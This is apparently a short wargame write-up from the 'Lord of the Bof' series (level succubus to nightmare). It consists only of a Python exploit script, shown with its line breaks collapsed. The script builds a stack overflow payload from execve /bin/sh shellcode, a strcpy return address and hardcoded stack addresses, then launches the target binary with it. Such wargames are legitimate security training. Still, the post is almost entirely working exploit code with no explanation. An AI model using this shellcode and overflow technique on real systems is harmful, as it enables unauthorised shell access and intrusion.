Wargame/Lord Of the Bof(redhat)
[Remind] LOB succubus -> nightmare
JeonYoungSin
2019. 4. 22. 23:42
exploit.py
import osfrom struct import *p = lambda x : pack("<L" , x)path = '/home/succubus/nightmare'strcpyAddress = p(0x8048410)shellAddress = p(0xbffffa74)shellCode = shellAddress+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*11dstAddress = p(0xbffffaa0)srcAddress = p(0xbffffa70)payload = shellCode+"A"*4+strcpyAddress+"A"*4+dstAddress+srcAddressos.execl(path,path,payload)